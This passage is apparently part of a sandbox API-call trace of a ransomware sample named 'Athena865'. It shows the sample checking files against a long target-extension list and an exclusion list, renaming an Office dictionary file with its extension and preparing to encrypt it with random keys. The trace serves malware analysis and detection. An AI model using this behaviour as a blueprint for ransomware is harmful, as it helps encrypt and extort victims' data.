lpString2="mud") returned -1 [0066.804] lstrlenW (lpString="mwb") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mwb") returned -1 [0066.804] lstrlenW (lpString="myd") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="myd") returned -1 [0066.804] lstrlenW (lpString="ndf") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="ndf") returned -1 [0066.804] lstrlenW (lpString="nnt") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="nnt") returned -1 [0066.805] lstrlenW (lpString="nrmlib") returned 6 [0066.805] lstrcmpiW (lpString1="MP.DIC", lpString2="nrmlib") returned -1 [0066.805] lstrlenW (lpString="ns2") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="ns2") returned -1 [0066.805] lstrlenW (lpString="ns3") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="ns3") returned -1 [0066.805] lstrlenW (lpString="ns4") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="ns4") returned -1 [0066.805] lstrlenW (lpString="nsf") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="nsf") returned -1 [0066.805] lstrlenW (lpString="nv") returned 2 [0066.805] lstrcmpiW (lpString1="IC", lpString2="nv") returned -1 [0066.805] lstrlenW (lpString="nv2") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="nv2") returned -1 [0066.805] lstrlenW (lpString="nwdb") returned 4 [0066.805] lstrcmpiW (lpString1=".DIC", lpString2="nwdb") returned -1 [0066.805] lstrlenW (lpString="nyf") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="nyf") returned -1 [0066.805] lstrlenW (lpString="odb") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0066.805] lstrlenW (lpString="odb") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0066.805] lstrlenW (lpString="oqy") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="oqy") returned -1 [0066.805] lstrlenW (lpString="ora") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="ora") returned -1 [0066.805] lstrlenW (lpString="orx") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="orx") returned -1 [0066.805] lstrlenW (lpString="owc") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="owc") returned -1 [0066.805] lstrlenW (lpString="p96") returned 3 [0066.805] lstrcmpiW (lpString1="DIC", lpString2="p96") returned -1 [0066.806] lstrlenW (lpString="p97") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="p97") returned -1 [0066.806] lstrlenW (lpString="pan") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="pan") returned -1 [0066.806] lstrlenW (lpString="pdb") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="pdb") returned -1 [0066.806] lstrlenW (lpString="pdm") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="pdm") returned -1 [0066.806] lstrlenW (lpString="pnz") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="pnz") returned -1 [0066.806] lstrlenW (lpString="qry") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="qry") returned -1 [0066.806] lstrlenW (lpString="qvd") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="qvd") returned -1 [0066.806] lstrlenW (lpString="rbf") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="rbf") returned -1 [0066.806] lstrlenW (lpString="rctd") returned 4 [0066.806] lstrcmpiW (lpString1=".DIC", lpString2="rctd") returned -1 [0066.806] lstrlenW (lpString="rod") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="rod") returned -1 [0066.806] lstrlenW (lpString="rodx") returned 4 [0066.806] lstrcmpiW (lpString1=".DIC", lpString2="rodx") returned -1 [0066.806] lstrlenW (lpString="rpd") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="rpd") returned -1 [0066.806] lstrlenW (lpString="rsd") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="rsd") returned -1 [0066.806] lstrlenW (lpString="sas7bdat") returned 8 [0066.806] lstrcmpiW (lpString1="VCMP.DIC", lpString2="sas7bdat") returned 1 [0066.806] lstrlenW (lpString="sbf") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="sbf") returned -1 [0066.806] lstrlenW (lpString="scx") returned 3 [0066.806] lstrcmpiW (lpString1="DIC", lpString2="scx") returned -1 [0066.807] lstrlenW (lpString="sdb") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="sdb") returned -1 [0066.807] lstrlenW (lpString="sdc") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="sdc") returned -1 [0066.807] lstrlenW (lpString="sdf") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="sdf") returned -1 [0066.807] lstrlenW (lpString="sis") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="sis") returned -1 [0066.807] lstrlenW (lpString="spq") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="spq") returned -1 [0066.807] lstrlenW (lpString="te") returned 2 [0066.807] lstrcmpiW (lpString1="IC", lpString2="te") returned -1 [0066.807] lstrlenW (lpString="teacher") returned 7 [0066.807] lstrcmpiW (lpString1="CMP.DIC", lpString2="teacher") returned -1 [0066.807] lstrlenW (lpString="tmd") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="tmd") returned -1 [0066.807] lstrlenW (lpString="tps") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="tps") returned -1 [0066.807] lstrlenW (lpString="trc") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0066.807] lstrlenW (lpString="trc") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0066.807] lstrlenW (lpString="trm") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="trm") returned -1 [0066.807] lstrlenW (lpString="udb") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="udb") returned -1 [0066.807] lstrlenW (lpString="udl") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="udl") returned -1 [0066.807] lstrlenW (lpString="usr") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="usr") returned -1 [0066.807] lstrlenW (lpString="v12") returned 3 [0066.807] lstrcmpiW (lpString1="DIC", lpString2="v12") returned -1 [0066.807] lstrlenW (lpString="vis") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="vis") returned -1 [0066.808] lstrlenW (lpString="vpd") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="vpd") returned -1 [0066.808] lstrlenW (lpString="vvv") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="vvv") returned -1 [0066.808] lstrlenW (lpString="wdb") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="wdb") returned -1 [0066.808] lstrlenW (lpString="wmdb") returned 4 [0066.808] lstrcmpiW (lpString1=".DIC", lpString2="wmdb") returned -1 [0066.808] lstrlenW (lpString="wrk") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="wrk") returned -1 [0066.808] lstrlenW (lpString="xdb") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="xdb") returned -1 [0066.808] lstrlenW (lpString="xld") returned 3 [0066.808] lstrcmpiW (lpString1="DIC", lpString2="xld") returned -1 [0066.808] lstrlenW (lpString="xmlff") returned 5 [0066.808] lstrcmpiW (lpString1="P.DIC", lpString2="xmlff") returned -1 [0066.808] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.Athena865") returned 63 [0066.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.athena865"), dwFlags=0x1) returned 1 [0066.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.810] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1651918) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.810] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.811] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.811] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.811] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1937d0, lpName=0x0) returned 0x154 [0066.812] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1937d0) returned 0x2d50000 [0066.886] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.886] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.886] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0066.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.887] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.904] CloseHandle (hObject=0x154) returned 1 [0066.904] CloseHandle (hObject=0x17c) returned 1 [0066.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.911] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".") returned 1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="..") returned 1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="windows") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="bootmgr") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="temp") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="pagefile.sys") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="boot") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="ids.txt") returned -1 [0066.911] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="ntuser.dat") returned -1 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="perflogs") returned -1 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2="MSBuild") returned -1 [0066.912] lstrlenW (lpString="ADVTEL.DIC") returned 10 [0066.912] lstrcpyW (in: lpString1=0x241e89e, lpString2="ADVTEL.DIC" | out: lpString1="ADVTEL.DIC") returned="ADVTEL.DIC" [0066.912] lstrlenW (lpString="ADVTEL.DIC") returned 10 [0066.912] lstrlenW (lpString="Athena865") returned 9 [0066.912] lstrcmpiW (lpString1="DVTEL.DIC", lpString2="Athena865") returned 1 [0066.912] lstrlenW (lpString=".dll") returned 4 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".dll") returned 1 [0066.912] lstrlenW (lpString=".lnk") returned 4 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".lnk") returned 1 [0066.912] lstrlenW (lpString=".ini") returned 4 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".ini") returned 1 [0066.912] lstrlenW (lpString=".sys") returned 4 [0066.912] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".sys") returned 1 [0066.912] lstrlenW (lpString="ADVTEL.DIC") returned 10 [0066.912] lstrlenW (lpString="bak") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="bak") returned 1 [0066.912] lstrlenW (lpString="ba_") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="ba_") returned 1 [0066.912] lstrlenW (lpString="dbb") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="dbb") returned 1 [0066.912] lstrlenW (lpString="vmdk") returned 4 [0066.912] lstrcmpiW (lpString1=".DIC", lpString2="vmdk") returned -1 [0066.912] lstrlenW (lpString="rar") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="rar") returned -1 [0066.912] lstrlenW (lpString="zip") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="zip") returned -1 [0066.912] lstrlenW (lpString="tgz") returned 3 [0066.912] lstrcmpiW (lpString1="DIC", lpString2="tgz") returned -1 [0066.912] lstrlenW (lpString="vbox") returned 4 [0066.912] lstrcmpiW (lpString1=".DIC", lpString2="vbox") returned -1 [0066.912] lstrlenW (lpString="vdi") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="vdi") returned -1 [0066.913] lstrlenW (lpString="vhd") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="vhd") returned -1 [0066.913] lstrlenW (lpString="vhdx") returned 4 [0066.913] lstrcmpiW (lpString1=".DIC", lpString2="vhdx") returned -1 [0066.913] lstrlenW (lpString="avhd") returned 4 [0066.913] lstrcmpiW (lpString1=".DIC", lpString2="avhd") returned -1 [0066.913] lstrlenW (lpString="db") returned 2 [0066.913] lstrcmpiW (lpString1="IC", lpString2="db") returned 1 [0066.913] lstrlenW (lpString="db2") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="db2") returned 1 [0066.913] lstrlenW (lpString="db3") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="db3") returned 1 [0066.913] lstrlenW (lpString="dbf") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="dbf") returned 1 [0066.913] lstrlenW (lpString="mdf") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="mdf") returned -1 [0066.913] lstrlenW (lpString="mdb") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="mdb") returned -1 [0066.913] lstrlenW (lpString="sql") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="sql") returned -1 [0066.913] lstrlenW (lpString="sqlite") returned 6 [0066.913] lstrcmpiW (lpString1="EL.DIC", lpString2="sqlite") returned -1 [0066.913] lstrlenW (lpString="sqlite3") returned 7 [0066.913] lstrcmpiW (lpString1="TEL.DIC", lpString2="sqlite3") returned 1 [0066.913] lstrlenW (lpString="sqlitedb") returned 8 [0066.913] lstrcmpiW (lpString1="VTEL.DIC", lpString2="sqlitedb") returned 1 [0066.913] lstrlenW (lpString="xml") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="xml") returned -1 [0066.913] lstrlenW (lpString="$er") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="$er") returned 1 [0066.913] lstrlenW (lpString="4dd") returned 3 [0066.913] lstrcmpiW (lpString1="DIC", lpString2="4dd") returned 1 [0066.914] lstrlenW (lpString="4dl") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="4dl") returned 1 [0066.914] lstrlenW (lpString="^^^") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="^^^") returned 1 [0066.914] lstrlenW (lpString="abs") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="abs") returned 1 [0066.914] lstrlenW (lpString="abx") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="abx") returned 1 [0066.914] lstrlenW (lpString="accdb") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accdb") returned 1 [0066.914] lstrlenW (lpString="accdc") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accdc") returned 1 [0066.914] lstrlenW (lpString="accde") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accde") returned 1 [0066.914] lstrlenW (lpString="accdr") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accdr") returned 1 [0066.914] lstrlenW (lpString="accdt") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accdt") returned 1 [0066.914] lstrlenW (lpString="accdw") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accdw") returned 1 [0066.914] lstrlenW (lpString="accft") returned 5 [0066.914] lstrcmpiW (lpString1="L.DIC", lpString2="accft") returned 1 [0066.914] lstrlenW (lpString="adb") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0066.914] lstrlenW (lpString="adb") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0066.914] lstrlenW (lpString="ade") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="ade") returned 1 [0066.914] lstrlenW (lpString="adf") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="adf") returned 1 [0066.914] lstrlenW (lpString="adn") returned 3 [0066.914] lstrcmpiW (lpString1="DIC", lpString2="adn") returned 1 [0066.914] lstrlenW (lpString="adp") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="adp") returned 1 [0066.915] lstrlenW (lpString="alf") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="alf") returned 1 [0066.915] lstrlenW (lpString="ask") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="ask") returned 1 [0066.915] lstrlenW (lpString="btr") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="btr") returned 1 [0066.915] lstrlenW (lpString="cat") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="cat") returned 1 [0066.915] lstrlenW (lpString="cdb") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="cdb") returned 1 [0066.915] lstrlenW (lpString="ckp") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="ckp") returned 1 [0066.915] lstrlenW (lpString="cma") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="cma") returned 1 [0066.915] lstrlenW (lpString="cpd") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="cpd") returned 1 [0066.915] lstrlenW (lpString="dacpac") returned 6 [0066.915] lstrcmpiW (lpString1="EL.DIC", lpString2="dacpac") returned 1 [0066.915] lstrlenW (lpString="dad") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="dad") returned 1 [0066.915] lstrlenW (lpString="dadiagrams") returned 10 [0066.915] lstrlenW (lpString="daschema") returned 8 [0066.915] lstrcmpiW (lpString1="VTEL.DIC", lpString2="daschema") returned 1 [0066.915] lstrlenW (lpString="db-journal") returned 10 [0066.915] lstrlenW (lpString="db-shm") returned 6 [0066.915] lstrcmpiW (lpString1="EL.DIC", lpString2="db-shm") returned 1 [0066.915] lstrlenW (lpString="db-wal") returned 6 [0066.915] lstrcmpiW (lpString1="EL.DIC", lpString2="db-wal") returned 1 [0066.915] lstrlenW (lpString="dbc") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="dbc") returned 1 [0066.915] lstrlenW (lpString="dbs") returned 3 [0066.915] lstrcmpiW (lpString1="DIC", lpString2="dbs") returned 1 [0066.915] lstrlenW (lpString="dbt") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dbt") returned 1 [0066.916] lstrlenW (lpString="dbv") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dbv") returned 1 [0066.916] lstrlenW (lpString="dbx") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dbx") returned 1 [0066.916] lstrlenW (lpString="dcb") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dcb") returned 1 [0066.916] lstrlenW (lpString="dct") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dct") returned 1 [0066.916] lstrlenW (lpString="dcx") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dcx") returned 1 [0066.916] lstrlenW (lpString="ddl") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="ddl") returned 1 [0066.916] lstrlenW (lpString="dlis") returned 4 [0066.916] lstrcmpiW (lpString1=".DIC", lpString2="dlis") returned -1 [0066.916] lstrlenW (lpString="dp1") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dp1") returned -1 [0066.916] lstrlenW (lpString="dqy") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dqy") returned -1 [0066.916] lstrlenW (lpString="dsk") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dsk") returned -1 [0066.916] lstrlenW (lpString="dsn") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dsn") returned -1 [0066.916] lstrlenW (lpString="dtsx") returned 4 [0066.916] lstrcmpiW (lpString1=".DIC", lpString2="dtsx") returned -1 [0066.916] lstrlenW (lpString="dxl") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="dxl") returned -1 [0066.916] lstrlenW (lpString="eco") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="eco") returned -1 [0066.916] lstrlenW (lpString="ecx") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="ecx") returned -1 [0066.916] lstrlenW (lpString="edb") returned 3 [0066.916] lstrcmpiW (lpString1="DIC", lpString2="edb") returned -1 [0066.916] lstrlenW (lpString="epim") returned 4 [0066.917] lstrcmpiW (lpString1=".DIC", lpString2="epim") returned -1 [0066.917] lstrlenW (lpString="fcd") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fcd") returned -1 [0066.917] lstrlenW (lpString="fdb") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fdb") returned -1 [0066.917] lstrlenW (lpString="fic") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fic") returned -1 [0066.917] lstrlenW (lpString="flexolibrary") returned 12 [0066.917] lstrlenW (lpString="fm5") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fm5") returned -1 [0066.917] lstrlenW (lpString="fmp") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fmp") returned -1 [0066.917] lstrlenW (lpString="fmp12") returned 5 [0066.917] lstrcmpiW (lpString1="L.DIC", lpString2="fmp12") returned 1 [0066.917] lstrlenW (lpString="fmpsl") returned 5 [0066.917] lstrcmpiW (lpString1="L.DIC", lpString2="fmpsl") returned 1 [0066.917] lstrlenW (lpString="fol") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fol") returned -1 [0066.917] lstrlenW (lpString="fp3") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fp3") returned -1 [0066.917] lstrlenW (lpString="fp4") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fp4") returned -1 [0066.917] lstrlenW (lpString="fp5") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fp5") returned -1 [0066.917] lstrlenW (lpString="fp7") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fp7") returned -1 [0066.917] lstrlenW (lpString="fpt") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="fpt") returned -1 [0066.917] lstrlenW (lpString="frm") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="frm") returned -1 [0066.917] lstrlenW (lpString="gdb") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0066.917] lstrlenW (lpString="gdb") returned 3 [0066.917] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0066.918] lstrlenW (lpString="grdb") returned 4 [0066.918] lstrcmpiW (lpString1=".DIC", lpString2="grdb") returned -1 [0066.918] lstrlenW (lpString="gwi") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="gwi") returned -1 [0066.918] lstrlenW (lpString="hdb") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="hdb") returned -1 [0066.918] lstrlenW (lpString="his") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="his") returned -1 [0066.918] lstrlenW (lpString="ib") returned 2 [0066.918] lstrcmpiW (lpString1="IC", lpString2="ib") returned 1 [0066.918] lstrlenW (lpString="idb") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="idb") returned -1 [0066.918] lstrlenW (lpString="ihx") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="ihx") returned -1 [0066.918] lstrlenW (lpString="itdb") returned 4 [0066.918] lstrcmpiW (lpString1=".DIC", lpString2="itdb") returned -1 [0066.918] lstrlenW (lpString="itw") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="itw") returned -1 [0066.918] lstrlenW (lpString="jet") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="jet") returned -1 [0066.918] lstrlenW (lpString="jtx") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="jtx") returned -1 [0066.918] lstrlenW (lpString="kdb") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="kdb") returned -1 [0066.918] lstrlenW (lpString="kexi") returned 4 [0066.918] lstrcmpiW (lpString1=".DIC", lpString2="kexi") returned -1 [0066.918] lstrlenW (lpString="kexic") returned 5 [0066.918] lstrcmpiW (lpString1="L.DIC", lpString2="kexic") returned 1 [0066.918] lstrlenW (lpString="kexis") returned 5 [0066.918] lstrcmpiW (lpString1="L.DIC", lpString2="kexis") returned 1 [0066.918] lstrlenW (lpString="lgc") returned 3 [0066.918] lstrcmpiW (lpString1="DIC", lpString2="lgc") returned -1 [0066.918] lstrlenW (lpString="lwx") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="lwx") returned -1 [0066.919] lstrlenW (lpString="maf") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="maf") returned -1 [0066.919] lstrlenW (lpString="maq") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="maq") returned -1 [0066.919] lstrlenW (lpString="mar") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mar") returned -1 [0066.919] lstrlenW (lpString="marshal") returned 7 [0066.919] lstrcmpiW (lpString1="TEL.DIC", lpString2="marshal") returned 1 [0066.919] lstrlenW (lpString="mas") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mas") returned -1 [0066.919] lstrlenW (lpString="mav") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mav") returned -1 [0066.919] 